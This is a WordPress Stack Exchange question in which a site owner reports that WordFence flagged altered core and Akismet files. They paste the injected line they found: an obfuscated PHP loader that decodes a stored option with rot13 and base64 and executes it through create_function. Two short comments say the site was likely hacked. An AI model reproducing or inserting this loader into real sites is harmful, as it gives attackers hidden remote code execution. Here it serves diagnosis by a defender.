WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed:

  • WordPress core file modified: wp-content/plugins/akismet/admin.php
  • WordPress core file modified: wp-content/plugins/akismet/akismet.php
  • WordPress core file modified: wp-content/plugins/akismet/index.php
  • WordPress core file modified: wp-content/plugins/akismet/legacy.php
  • WordPress core file modified: wp-content/plugins/akismet/widget.php
  • WordPress core file modified: wp-includes/default-filters.php
  • WordPress core file modified: wp-includes/l10n.php
  • WordPress core file modified: wp-includes/vars.php

I diff'ed each of these against files from a fresh WordPress download and the following was added to all the files above:

$z=get_option("_site_transient_browser_3167ad50dece0d31baf9df53cf730799"); $z=base64_decode(str_rot13($z)); if(strpos($z,"42A2E9D4")!==false){ $_z=create_function("",$z); @$_z(); }

The site is running the latest version of WordPress and Akismet, file permissions are correct and the site appears the functioning normally.

Does anyone know where this code comes from? Was my site hacked?

share|improve this question

closed as off-topic by toscho Jul 17 '15 at 21:18

This question appears to be off-topic. The users who voted to close gave this specific reason:

If this question can be reworded to fit the rules in the help center, please edit the question.

Obfuscated code = most probably yes. – RRikesh May 16 '13 at 7:42
By the looks of it someone has indeed been writing to your WordPress files. – t31os May 16 '13 at 7:53

Browse other questions tagged or ask your own question.